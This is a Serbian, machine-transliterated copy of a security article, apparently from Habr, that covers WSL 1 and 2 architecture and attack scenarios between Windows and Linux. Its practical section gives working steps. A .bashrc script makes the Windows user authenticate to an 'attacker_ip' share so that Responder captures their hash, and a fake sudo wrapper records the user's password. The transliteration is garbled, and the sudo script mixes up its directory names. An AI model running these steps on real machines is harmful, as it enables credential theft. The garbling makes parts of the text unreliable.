ВСЛ експерименти. Део 1

Здраво, хабр! ОТУС покреће нови ток курсева у октобру „Линук безбедност“. У ишчекивању почетка курса, делимо са вама чланак који је написао један од наших наставника, Александар Колесников.

Мицрософт је 2016. године представио нову ВСЛ технологију ИТ заједници (Wиндовс Sподсистем за Lинук), што је у будућности омогућило уједињавање до тада непомирљивих конкурената који су се борили за популарност међу обичним и напредним корисницима ОС: Виндовс и Линук. Ова технологија је омогућила коришћење Линук ОС алата у Виндовс окружењу без потребе за покретањем Линука, на пример, коришћењем вишеструког покретања. На Хабру можете пронаћи велики број чланака који описују предности коришћења ВСЛ-а. Међутим, нажалост, у време настанка овог чланка, на овом ресурсу нису пронађене студије о безбедности такве симбиозе оперативних система. Овај пост ће бити покушај да се ово исправи. У чланку ће се говорити о карактеристикама ВСЛ 1 и 2 архитектура и испитати неколико примера напада на системе који користе ове технологије. Чланак је подељен на 2 дела. Први ће обезбедити главне теоријске методе напада са Линук-а и Виндовс-а. Други чланак ће укључивати постављање тестног окружења и репродукцију напада.

ВСЛ 1: архитектонске карактеристике

За најтачније уроњење у питања безбедности ВСЛ-а, неопходно је одредити главне нијансе повезане са имплементацијом подсистема. Један од главних корисничких задатака које решава ВСЛ је могућност рада преко Линук терминала на хосту који користи Виндовс ОС. Такође, понуђена компатибилност је била толико изворна да су се Линукс извршне датотеке (ЕЛФ) могле покренути директно на Виндовс систему. Да би се постигли ови циљеви, у Виндовс-у 10 је креиран посебан подсистем који вам омогућава да покренете Линук апликације користећи скуп специфичних системских позива – тако је учињен покушај да се мапира скуп Линук системских позива на Виндовс. Ово је физички имплементирано додавањем нових драјвера и новог формата процеса. Визуелно архитектура је изгледала овако:

У ствари, интеракција са Линук оперативним системом је организована кроз неколико модула кернела и посебну врсту процеса - пицо. Из горњег дијаграма можете видети да процес који се покреће на Линук инстанци на хосту мора бити изворни и мора да користи исте ресурсе као и обичне Виндовс апликације. Али како то постићи? У пројекту Дравбридге Развијени су концепти процеса за Виндовс који су обезбедили све неопходне компоненте оперативног система (у зависности од његове верзије) за покретање апликације другог ОС-а.

Имајте на уму да је предложена апстракција омогућила да се не фокусира на оперативни систем (посебно Виндовс), у којем се очекује да ће се покренути процес другог ОС-а, и предложила је општи приступ.

Дакле, било која апликација унутар пицо процеса може да ради без обзира на Виндовс кернел:

1. Проблеме компатибилности и превода системских позива морају решавати посебни провајдери;
2. Контрола приступа се мора вршити преко Сецурити Монитора. Монитор се налази у језгру и стога је Виндовсу била потребна надоградња у облику новог драјвера који би могао да делује као добављач за такве процесе. Прототип пицо процеса је шематски представљен у наставку:

Пошто Линук систем датотека користи имена датотека и директоријума осетљива на велика и мала слова, у Виндовс су додата 2 типа система датотека за рад са ВСЛ - ВолФС и ДривеФС. ВолФС је имплементација Линук система датотека, ДривеФС је систем датотека који ради у складу са правилима Виндовс-а, али има могућност избора осетљивости на велика и мала слова.

ВСЛ КСНУМКС

ВСЛ 1 је имао низ ограничења која му нису дозвољавала да се користи за решавање максималног опсега задатака: на пример, није имао могућност покретања 32-битних Линук апликација, а било је немогуће користити драјвере уређаја. Због тога је 2020. изашао ВСЛ 2, који је променио приступ изградњи подсистема. ВСЛ 2 је оптимизована виртуелна машина која одговара карактеристикама потрошње ресурса ВСЛ 1. Сада, у зависности од проблема које решава корисник Виндовс ОС-а, можете изабрати потребну верзију Линук подсистема. Да би се ублажиле могуће рањивости, ВСЛ 2 је имплементиран на основу Хипер-В у Виндовс 10. У овом облику, Виндовс има могућност да покреће језгро Линук оперативног система у изолацији. Вреди подсетити да је верзија 1 ВСЛ-а представљена као бета функција која је требало да покаже правац развоја Виндовс-а у овој области, тако да је прелазак на Хипер-В био неизбежан. Коначна архитектура изгледа овако:

У овој верзији, Виндовс и Линукс језгра имају сопствене ресурсе и пресек постоји само у систему датотека, али овај пресек није потпун. Интеракција између система датотека се врши преко клијент-сервер омотача који ради користећи 9П протокол.

Данас Мицрософт пружа могућност пребацивања између ВСЛ 1 и ВСЛ 2. Обе верзије су доступне за употребу.

ВСЛ Сецурити

Тренутно постоји неколико радова који описују неке приступе коришћењу легитимних ОС алата за напад на комуникацију између подсистема. Користићемо њихове скрипте да проверимо релевантност напада у време писања. Општа листа напада и сценарија:

1. Имплементација система датотека: права приступа, доступност дељених директоријума/механизми размене података.

Истраживање је спроведено ради утврђивања кршења правила приступа од Линук ФС->Виндовс ФС, Виндовс ФС->Линук ФС. Истраживање је показало могућност модификације дате датотеке у оквиру циљног ОС-а. Такође је било покушаја замене, прављења дупликата и брисања дела система датотека.

Сценарио:

• А. Напад из оперативног система Виндовс - модификација датотека из /етц директоријума Линук ОС-а.
• Б. Напад са Линук оперативног система - модификација датотека у директоријумима: C:Windows, C:Program Files, C:Users<User>

2. Имплементација мрежног стека.

Истраживање је спроведено на примерима напада из Линук оперативног система на Виндовс. Коришћене су карактеристике мрежног стека, односно механизми аутентификације на различитим ресурсима.

Сценарио:

• Отварање приступа порту који је заузет на Виндовс систему
• Отварање порта без одговарајућих права
• Покретање обрнуте љуске помоћу елф датотеке на Виндовс оперативном систему.

3. Скривање покретања злонамерних софтверских процеса помоћу ВСЛ подсистема.

Истраживање је засновано на једноставној чињеници - безбедносни подсистеми не могу да пресретну догађаје у другом кернелу који ради користећи легитимног провајдера из оперативног система у случају ВСЛ 1. У случају ВСЛ 2, не постоји начин да се виде догађаји који се дешавају. у посебном језгру у оквиру лагане виртуелне машине.

Сценарио:

1) Покрените апликацију за даљински приступ систему и погледајте евидентиране догађаје.

ВСЛ 1 експерименти: пресретање хеша (Виндовс)

Коначно смо дошли до практичног дела. Прво морате да подесите тестно окружење. Сви експерименти ће се изводити на клупи са инсталираним Виндовс 10 2004. Слика Убунту 18.04 је изабрана као слика оперативног система за ВСЛ. Слика је изабрана насумично, а свака друга ће радити исто. Команде за постављање штанда:

Прво морате покренути powershell.exe kao administrator.

За ВСЛ 1 морате да покренете команде:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

Након поновног покретања постоља, можете позвати басх команду. Ако је све функционисало како треба, видећете излаз сличан овом у Виндовс конзоли:

Користићемо Кали Линук дистрибуцију као машину нападача; све машине морају бити на истој локалној мрежи.

Претпоставимо да имамо непривилегован приступ ВСЛ-у на Виндовс машини. Покушајмо да нападнемо Линук оперативни систем позивањем команде из Линука. Да бисмо спровели напад, користићемо једноставну технику аутоматског покретања - додаћемо нашу скрипту за извршавање у Линук окружењу. Да бисте то урадили, потребно је да промените датотеку .bashrc.

На машини са ВСЛ-ом извршавамо:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

На Кали Линук машини покрећемо:

1. Responder -I eth0 -rdvw

На Виндовс машини, хајде да покренемо басх.

Чекамо резултат на Кали Линук машини:

Тако смо добили хеш Виндовс корисника преко ВСЛ подсистема извршавањем команде на Линук систему.

ВСЛ 1 експерименти: добијање корисничке лозинке (Линук ОС)

Хајде да урадимо још један експеримент. Током ове провере додаћемо датотеку .bashrc неколико команди у циљу добијања корисничке лозинке за оперативни систем Линук.

Хајде да покренемо басх и унесемо команде:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

Да би успешно завршио напад, корисник Сам треба да позове судо у Линук терминалу. Након тога, корисничка лозинка за Линук ОС ће бити у датотеци pass.txt:

Спровођење напада дато је само за теоретску информацију.

Следећи део чланка ће описати имплементацију 9П протокола, размотрити стварање скенера за овај протокол, а такође и извршити напад користећи га.

Списак коришћене литературе

• ВСЛ 2 ИСТРАЖИВАЊЕ ЛОШЕ
• Документација Виндовс подсистема за Линук

Опширније

• Како одабрати софтвер за закрпе Линук кернела у реалном времену

Извор: ввв.хабр.цом